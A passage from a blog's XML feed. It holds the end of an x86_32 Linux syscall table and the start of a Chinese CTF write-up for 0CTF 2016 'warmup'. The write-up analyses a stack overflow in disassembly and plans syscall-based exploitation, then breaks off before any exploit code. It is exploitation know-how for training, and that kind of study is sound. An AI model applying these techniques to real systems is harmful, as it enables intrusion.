*buf</td><td style="text-align:center">int bufsiz</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">306</td><td style="text-align:center">fchmodat</td><td style="text-align:center">132</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char * filename</td><td style="text-align:center">umode_t mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">307</td><td style="text-align:center">faccessat</td><td style="text-align:center">133</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">int mode</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">308</td><td style="text-align:center">pselect6</td><td style="text-align:center">134</td><td style="text-align:center">int</td><td style="text-align:center">fd_set *</td><td style="text-align:center">fd_set *</td><td style="text-align:center">fd_set *</td><td style="text-align:center">struct timespec *</td><td style="text-align:center">void *</td></tr><tr><td style="text-align:center">309</td><td style="text-align:center">ppoll</td><td style="text-align:center">135</td><td style="text-align:center">struct pollfd *</td><td style="text-align:center">unsigned int</td><td style="text-align:center">struct timespec *</td><td style="text-align:center">const sigset_t *</td><td style="text-align:center">size_t</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">310</td><td style="text-align:center">unshare</td><td style="text-align:center">136</td><td style="text-align:center">unsigned long unshare_flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">311</td><td style="text-align:center">set_robust_list</td><td style="text-align:center">137</td><td style="text-align:center">struct robust_list_head *head</td><td style="text-align:center">size_t len</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">312</td><td style="text-align:center">get_robust_list</td><td style="text-align:center">138</td><td style="text-align:center">int pid</td><td style="text-align:center">struct robust_list_head * *head_ptr</td><td style="text-align:center">size_t *len_ptr</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">313</td><td style="text-align:center">splice</td><td style="text-align:center">139</td><td style="text-align:center">int fd_in</td><td style="text-align:center">loff_t *off_in</td><td style="text-align:center">int fd_out</td><td style="text-align:center">loff_t *off_out</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned int flags</td></tr><tr><td style="text-align:center">314</td><td style="text-align:center">sync_file_range</td><td style="text-align:center">13A</td><td style="text-align:center">int fd</td><td style="text-align:center">loff_t offset</td><td style="text-align:center">loff_t nbytes</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">315</td><td style="text-align:center">tee</td><td style="text-align:center">13B</td><td style="text-align:center">int fdin</td><td style="text-align:center">int fdout</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">316</td><td style="text-align:center">vmsplice</td><td style="text-align:center">13C</td><td style="text-align:center">int fd</td><td style="text-align:center">const struct iovec *iov</td><td style="text-align:center">unsigned long nr_segs</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">317</td><td style="text-align:center">move_pages</td><td style="text-align:center">13D</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned long nr_pages</td><td style="text-align:center">const void * *pages</td><td style="text-align:center">const int *nodes</td><td style="text-align:center">int *status</td><td style="text-align:center">int flags</td></tr><tr><td style="text-align:center">318</td><td style="text-align:center">getcpu</td><td style="text-align:center">13E</td><td style="text-align:center">unsigned *cpu</td><td style="text-align:center">unsigned *node</td><td style="text-align:center">struct getcpu_cache *cache</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">319</td><td style="text-align:center">epoll_pwait</td><td style="text-align:center">13F</td><td style="text-align:center">int epfd</td><td style="text-align:center">struct epoll_event *events</td><td style="text-align:center">int maxevents</td><td style="text-align:center">int timeout</td><td style="text-align:center">const sigset_t *sigmask</td><td style="text-align:center">size_t sigsetsize</td></tr><tr><td style="text-align:center">320</td><td style="text-align:center">utimensat</td><td style="text-align:center">140</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">struct timespec *utimes</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">321</td><td style="text-align:center">signalfd</td><td style="text-align:center">141</td><td style="text-align:center">int ufd</td><td style="text-align:center">sigset_t *user_mask</td><td style="text-align:center">size_t sizemask</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">322</td><td style="text-align:center">timerfd_create</td><td style="text-align:center">142</td><td style="text-align:center">int clockid</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">323</td><td style="text-align:center">eventfd</td><td style="text-align:center">143</td><td style="text-align:center">unsigned int count</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">324</td><td style="text-align:center">fallocate</td><td style="text-align:center">144</td><td style="text-align:center">int fd</td><td style="text-align:center">int mode</td><td style="text-align:center">loff_t offset</td><td style="text-align:center">loff_t len</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">325</td><td style="text-align:center">timerfd_settime</td><td style="text-align:center">145</td><td style="text-align:center">int ufd</td><td style="text-align:center">int flags</td><td style="text-align:center">const struct __kernel_itimerspec *utmr</td><td style="text-align:center">struct __kernel_itimerspec *otmr</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">326</td><td style="text-align:center">timerfd_gettime</td><td style="text-align:center">146</td><td style="text-align:center">int ufd</td><td style="text-align:center">struct __kernel_itimerspec *otmr</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">327</td><td style="text-align:center">signalfd4</td><td style="text-align:center">147</td><td style="text-align:center">int ufd</td><td style="text-align:center">sigset_t *user_mask</td><td style="text-align:center">size_t sizemask</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">328</td><td style="text-align:center">eventfd2</td><td style="text-align:center">148</td><td style="text-align:center">unsigned int count</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">329</td><td style="text-align:center">epoll_create1</td><td style="text-align:center">149</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">330</td><td style="text-align:center">dup3</td><td style="text-align:center">14A</td><td style="text-align:center">unsigned int oldfd</td><td style="text-align:center">unsigned int newfd</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">331</td><td style="text-align:center">pipe2</td><td style="text-align:center">14B</td><td style="text-align:center">int *fildes</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">332</td><td style="text-align:center">inotify_init1</td><td style="text-align:center">14C</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">333</td><td style="text-align:center">preadv</td><td style="text-align:center">14D</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long vlen</td><td style="text-align:center">unsigned long pos_l</td><td style="text-align:center">unsigned long pos_h</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">334</td><td style="text-align:center">pwritev</td><td style="text-align:center">14E</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long vlen</td><td style="text-align:center">unsigned long pos_l</td><td style="text-align:center">unsigned long pos_h</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">335</td><td style="text-align:center">rt_tgsigqueueinfo</td><td style="text-align:center">14F</td><td style="text-align:center">pid_t tgid</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int sig</td><td style="text-align:center">siginfo_t *uinfo</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">336</td><td style="text-align:center">perf_event_open</td><td style="text-align:center">150</td><td style="text-align:center">struct perf_event_attr *attr_uptr</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">int cpu</td><td style="text-align:center">int group_fd</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">337</td><td style="text-align:center">recvmmsg</td><td style="text-align:center">151</td><td style="text-align:center">int fd</td><td style="text-align:center">struct mmsghdr *msg</td><td style="text-align:center">unsigned int vlen</td><td style="text-align:center">unsigned flags</td><td style="text-align:center">struct timespec *timeout</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">338</td><td style="text-align:center">fanotify_init</td><td style="text-align:center">152</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">unsigned int event_f_flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">339</td><td style="text-align:center">fanotify_mark</td><td style="text-align:center">153</td><td style="text-align:center">int fanotify_fd</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">u64 mask</td><td style="text-align:center">int fd</td><td style="text-align:center">const char *pathname</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">340</td><td style="text-align:center">prlimit64</td><td style="text-align:center">154</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">unsigned int resource</td><td style="text-align:center">const struct rlimit64 *new_rlim</td><td style="text-align:center">struct rlimit64 *old_rlim</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">341</td><td style="text-align:center">name_to_handle_at</td><td style="text-align:center">155</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *name</td><td style="text-align:center">struct file_handle *handle</td><td style="text-align:center">int *mnt_id</td><td style="text-align:center">int flag</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">342</td><td style="text-align:center">open_by_handle_at</td><td style="text-align:center">156</td><td style="text-align:center">int mountdirfd</td><td style="text-align:center">struct file_handle *handle</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">343</td><td style="text-align:center">clock_adjtime</td><td style="text-align:center">157</td><td style="text-align:center">clockid_t which_clock</td><td style="text-align:center">struct timex *tx</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">344</td><td style="text-align:center">syncfs</td><td style="text-align:center">158</td><td style="text-align:center">int fd</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">345</td><td style="text-align:center">sendmmsg</td><td style="text-align:center">159</td><td style="text-align:center">int fd</td><td style="text-align:center">struct mmsghdr *msg</td><td style="text-align:center">unsigned int vlen</td><td style="text-align:center">unsigned flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">346</td><td style="text-align:center">setns</td><td style="text-align:center">15A</td><td style="text-align:center">int fd</td><td style="text-align:center">int nstype</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">347</td><td style="text-align:center">process_vm_readv</td><td style="text-align:center">15B</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">const struct iovec *lvec</td><td style="text-align:center">unsigned long liovcnt</td><td style="text-align:center">const struct iovec *rvec</td><td style="text-align:center">unsigned long riovcnt</td><td style="text-align:center">unsigned long flags</td></tr><tr><td style="text-align:center">348</td><td style="text-align:center">process_vm_writev</td><td style="text-align:center">15C</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">const struct iovec *lvec</td><td style="text-align:center">unsigned long liovcnt</td><td style="text-align:center">const struct iovec *rvec</td><td style="text-align:center">unsigned long riovcnt</td><td style="text-align:center">unsigned long flags</td></tr><tr><td style="text-align:center">349</td><td style="text-align:center">kcmp</td><td style="text-align:center">15D</td><td style="text-align:center">pid_t pid1</td><td style="text-align:center">pid_t pid2</td><td style="text-align:center">int type</td><td style="text-align:center">unsigned long idx1</td><td style="text-align:center">unsigned long idx2</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">350</td><td style="text-align:center">finit_module</td><td style="text-align:center">15E</td><td style="text-align:center">int fd</td><td style="text-align:center">const char *uargs</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">351</td><td style="text-align:center">sched_setattr</td><td style="text-align:center">15F</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">struct sched_attr *attr</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">352</td><td style="text-align:center">sched_getattr</td><td style="text-align:center">160</td><td style="text-align:center">pid_t pid</td><td style="text-align:center">struct sched_attr *attr</td><td style="text-align:center">unsigned int size</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">353</td><td style="text-align:center">renameat2</td><td style="text-align:center">161</td><td style="text-align:center">int olddfd</td><td style="text-align:center">const char *oldname</td><td style="text-align:center">int newdfd</td><td style="text-align:center">const char *newname</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">354</td><td style="text-align:center">seccomp</td><td style="text-align:center">162</td><td style="text-align:center">unsigned int op</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">const char *uargs</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">355</td><td style="text-align:center">getrandom</td><td style="text-align:center">163</td><td style="text-align:center">char *buf</td><td style="text-align:center">size_t count</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">356</td><td style="text-align:center">memfd_create</td><td style="text-align:center">164</td><td style="text-align:center">const char *uname_ptr</td><td style="text-align:center">unsigned int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">357</td><td style="text-align:center">bpf</td><td style="text-align:center">165</td><td style="text-align:center">int cmd</td><td style="text-align:center">union bpf_attr *attr</td><td style="text-align:center">unsigned int size</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">358</td><td style="text-align:center">execveat</td><td style="text-align:center">166</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *filename</td><td style="text-align:center">const char *const *argv</td><td style="text-align:center">const char *const *envp</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">359</td><td style="text-align:center">socket</td><td style="text-align:center">167</td><td style="text-align:center">int</td><td style="text-align:center">int</td><td style="text-align:center">int</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">360</td><td style="text-align:center">socketpair</td><td style="text-align:center">168</td><td style="text-align:center">int</td><td style="text-align:center">int</td><td style="text-align:center">int</td><td style="text-align:center">int *</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">361</td><td style="text-align:center">bind</td><td style="text-align:center">169</td><td style="text-align:center">int</td><td style="text-align:center">struct sockaddr *</td><td style="text-align:center">int</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">362</td><td style="text-align:center">connect</td><td style="text-align:center">16A</td><td style="text-align:center">int</td><td style="text-align:center">struct sockaddr *</td><td style="text-align:center">int</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">363</td><td style="text-align:center">listen</td><td style="text-align:center">16B</td><td style="text-align:center">int</td><td style="text-align:center">int</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">364</td><td style="text-align:center">accept4</td><td style="text-align:center">16C</td><td style="text-align:center">int</td><td style="text-align:center">struct sockaddr *</td><td style="text-align:center">int *</td><td style="text-align:center">int</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">365</td><td style="text-align:center">getsockopt</td><td style="text-align:center">16D</td><td style="text-align:center">int fd</td><td style="text-align:center">int level</td><td style="text-align:center">int optname</td><td style="text-align:center">char *optval</td><td style="text-align:center">int *optlen</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">366</td><td style="text-align:center">setsockopt</td><td style="text-align:center">16E</td><td style="text-align:center">int fd</td><td style="text-align:center">int level</td><td style="text-align:center">int optname</td><td style="text-align:center">char *optval</td><td style="text-align:center">int optlen</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">367</td><td style="text-align:center">getsockname</td><td style="text-align:center">16F</td><td style="text-align:center">int</td><td style="text-align:center">struct sockaddr *</td><td style="text-align:center">int *</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">368</td><td style="text-align:center">getpeername</td><td style="text-align:center">170</td><td style="text-align:center">int</td><td style="text-align:center">struct sockaddr *</td><td style="text-align:center">int *</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">369</td><td style="text-align:center">sendto</td><td style="text-align:center">171</td><td style="text-align:center">int</td><td style="text-align:center">void *</td><td style="text-align:center">size_t</td><td style="text-align:center">unsigned</td><td style="text-align:center">struct sockaddr *</td><td style="text-align:center">int</td></tr><tr><td style="text-align:center">370</td><td style="text-align:center">sendmsg</td><td style="text-align:center">172</td><td style="text-align:center">int fd</td><td style="text-align:center">struct user_msghdr *msg</td><td style="text-align:center">unsigned flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">371</td><td style="text-align:center">recvfrom</td><td style="text-align:center">173</td><td style="text-align:center">int</td><td style="text-align:center">void *</td><td style="text-align:center">size_t</td><td style="text-align:center">unsigned</td><td style="text-align:center">struct sockaddr *</td><td style="text-align:center">int *</td></tr><tr><td style="text-align:center">372</td><td style="text-align:center">recvmsg</td><td style="text-align:center">174</td><td style="text-align:center">int fd</td><td style="text-align:center">struct user_msghdr *msg</td><td style="text-align:center">unsigned flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">373</td><td style="text-align:center">shutdown</td><td style="text-align:center">175</td><td style="text-align:center">int</td><td style="text-align:center">int</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">374</td><td style="text-align:center">userfaultfd</td><td style="text-align:center">176</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">375</td><td style="text-align:center">membarrier</td><td style="text-align:center">177</td><td style="text-align:center">int cmd</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">376</td><td style="text-align:center">mlock2</td><td style="text-align:center">178</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">int flags</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">377</td><td style="text-align:center">copy_file_range</td><td style="text-align:center">179</td><td style="text-align:center">int fd_in</td><td style="text-align:center">loff_t *off_in</td><td style="text-align:center">int fd_out</td><td style="text-align:center">loff_t *off_out</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned int flags</td></tr><tr><td style="text-align:center">378</td><td style="text-align:center">preadv2</td><td style="text-align:center">17A</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long vlen</td><td style="text-align:center">unsigned long pos_l</td><td style="text-align:center">unsigned long pos_h</td><td style="text-align:center">rwf_t flags</td></tr><tr><td style="text-align:center">379</td><td style="text-align:center">pwritev2</td><td style="text-align:center">17B</td><td style="text-align:center">unsigned long fd</td><td style="text-align:center">const struct iovec *vec</td><td style="text-align:center">unsigned long vlen</td><td style="text-align:center">unsigned long pos_l</td><td style="text-align:center">unsigned long pos_h</td><td style="text-align:center">rwf_t flags</td></tr><tr><td style="text-align:center">380</td><td style="text-align:center">pkey_mprotect</td><td style="text-align:center">17C</td><td style="text-align:center">unsigned long start</td><td style="text-align:center">size_t len</td><td style="text-align:center">unsigned long prot</td><td style="text-align:center">int pkey</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">381</td><td style="text-align:center">pkey_alloc</td><td style="text-align:center">17D</td><td style="text-align:center">unsigned long flags</td><td style="text-align:center">unsigned long init_val</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">382</td><td style="text-align:center">pkey_free</td><td style="text-align:center">17E</td><td style="text-align:center">int pkey</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">383</td><td style="text-align:center">statx</td><td style="text-align:center">17F</td><td style="text-align:center">int dfd</td><td style="text-align:center">const char *path</td><td style="text-align:center">unsigned flags</td><td style="text-align:center">unsigned mask</td><td style="text-align:center">struct statx *buffer</td><td style="text-align:center">-</td></tr><tr><td style="text-align:center">384</td><td style="text-align:center">arch_prctl</td><td style="text-align:center">180</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td><td style="text-align:center">?</td></tr></tbody></table>]]></content>
    
    
      
      
    <summary type="html">&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;text-align:center&quot;&gt;NR&lt;/th&gt;
&lt;th style=&quot;text-align:center&quot;&gt;syscall&lt;/th&gt;
&lt;th style=&quot;text-align:center&quot;&gt;%eax&lt;/th</summary>
      
    
    
    
    <category term="Pwn2Own" scheme="http://www.4x7.fun/categories/Pwn2Own/"/>
    
    
    <category term="System Call Table" scheme="http://www.4x7.fun/tags/System-Call-Table/"/>
    
    <category term="x86_32" scheme="http://www.4x7.fun/tags/x86-32/"/>
    
  </entry>
  
  <entry>
    <title>WriteUp: 0CTF 2016 warmup</title>
    <link href="http://www.4x7.fun/2022/04/13/WriteUp-0CTF-2016-warmup/"/>
    <id>http://www.4x7.fun/2022/04/13/WriteUp-0CTF-2016-warmup/</id>
    <published>2022-04-13T10:51:39.000Z</published>
    <updated>2022-04-20T03:56:08.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x0-checksec"><a class="markdownIt-Anchor" href="#0x0-checksec"></a> 0x0 Checksec</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">Arch:     i386-32-little</span><br><span class="line">RELRO:    No RELRO</span><br><span class="line">Stack:    No canary found</span><br><span class="line">NX:       NX enabled</span><br><span class="line">PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure><h1 id="0x1-reverse-enginnering"><a class="markdownIt-Anchor" href="#0x1-reverse-enginnering"></a> 0x1 Reverse Enginnering</h1><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">.text:0804815A ; =============== S U B R O U T I N E =======================================</span><br><span class="line">.text:0804815A</span><br><span class="line">.text:0804815A</span><br><span class="line">.text:0804815A stackoverflow   proc near               ; CODE XREF: start+2B↑p</span><br><span class="line">.text:0804815A</span><br><span class="line">.text:0804815A fd              = dword ptr -30h</span><br><span class="line">.text:0804815A addr            = dword ptr -2Ch</span><br><span class="line">.text:0804815A len             = dword ptr -28h</span><br><span class="line">.text:0804815A var_20          = byte ptr -20h</span><br><span class="line">.text:0804815A</span><br><span class="line">.text:0804815A                 sub     esp, 30h</span><br><span class="line">.text:0804815D                 mov     [esp+30h+fd], 0 ; fd</span><br><span class="line">.text:08048164                 lea     eax, [esp+30h+var_20]</span><br><span class="line">.text:08048168                 mov     [esp+30h+addr], eax ; addr</span><br><span class="line">.text:0804816C                 mov     [esp+30h+len], 34h ; len</span><br><span class="line">.text:08048174                 call    read</span><br><span class="line">.text:08048179                 mov     [esp+30h+fd], 1 ; fd</span><br><span class="line">.text:08048180                 mov     [esp+30h+addr], offset aGoodLuck ; &quot;Good Luck!\n&quot;</span><br><span class="line">.text:08048188                 mov     [esp+30h+len], 0Bh ; len</span><br><span class="line">.text:08048190                 call    write</span><br><span class="line">.text:08048195                 mov     eax, 0DEADBEAFh</span><br><span class="line">.text:0804819A                 mov     ecx, 0DEADBEAFh</span><br><span class="line">.text:0804819F                 mov     edx, 0DEADBEAFh</span><br><span class="line">.text:080481A4                 mov     ebx, 0DEADBEAFh</span><br><span class="line">.text:080481A9                 mov     esi, 0DEADBEAFh</span><br><span class="line">.text:080481AE                 mov     edi, 0DEADBEAFh</span><br><span class="line">.text:080481B3                 mov     ebp, 0DEADBEAFh</span><br><span class="line">.text:080481B8                 add     esp, 30h</span><br><span class="line">.text:080481BB                 retn</span><br><span class="line">.text:080481BB stackoverflow   endp</span><br></pre></td></tr></table></figure><p>漏洞点在于：<code>frame stack</code>大小为<code>0x30</code>; <code>read</code>写入的变量为<code>var_20</code>，其内存位置为：<code>[esp+30h+var_20]</code>即<code>[esp + 0x30 - 0x20]</code>,因此<code>var_20</code>变量若写入内容超过<code>0x20</code>, 则会发生<code>stack overflow</code>. 在该函数中，读取的<code>len</code>为<code>0x34</code>，明显超过<code>0x20</code>,即发生<code>stack overflow</code>，覆盖<code>ret address</code>,污染控制流.</p><h1 id="0x2-analyze"><a class="markdownIt-Anchor" href="#0x2-analyze"></a> 0x2 Analyze</h1><p>该题目的<code>stack overflow</code>很容发现，利用也毫无难点。但该函数为<code>静态编译</code>，且其中用<code>int 0x80</code>的方式调用<code>system call</code>。由于该文件体简单且小，又无<code>libc.so</code>等库，因此无法找出有效可用的<code>rop chain</code>.</p><p>该题目中使用了<code>int 0x80</code>的方式进行<code>read</code>和<code>write</code>, 且有良好布局<code>system call</code>调用的代码片段，如下：<br />(<code>.text:0804812</code>2 -&gt; <code>.text:08048134</code>)</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">.text:0804811D read            proc near               ; CODE XREF: stackoverflow+1A↓p</span><br><span class="line">.text:0804811D</span><br><span class="line">.text:0804811D fd              = dword ptr  4</span><br><span class="line">.text:0804811D addr            = dword ptr  8</span><br><span class="line">.text:0804811D len             = dword ptr  0Ch</span><br><span class="line">.text:0804811D</span><br><span class="line">.text:0804811D                 mov     eax, 3</span><br><span class="line">.text:08048122                 mov     ebx, [esp+fd]   ; fd </span><br><span class="line">.text:08048126                 mov     ecx, [esp+addr] ; addr</span><br><span class="line">.text:0804812A                 mov     edx, [esp+len]  ; len</span><br><span class="line">.text:0804812E                 int     80h             ; LINUX - sys_read</span><br><span class="line">.text:08048130                 test    eax, eax</span><br><span class="line">.text:08048132                 js      short sub_804814D</span><br><span class="line">.text:08048134                 retn</span><br><span class="line">.text:08048134 read            endp</span><br><span class="line">.text:08048134</span><br></pre></td></tr></table></figure><p>若能控制<code>eax</code>的值，则能达到调用任意<code>system_call</code>函数的目的。</p><p>因此两种思路：</p><ul><li>使用<code>system</code>函数<blockquote><p>设置<code>eax = 0xb</code>, 调用 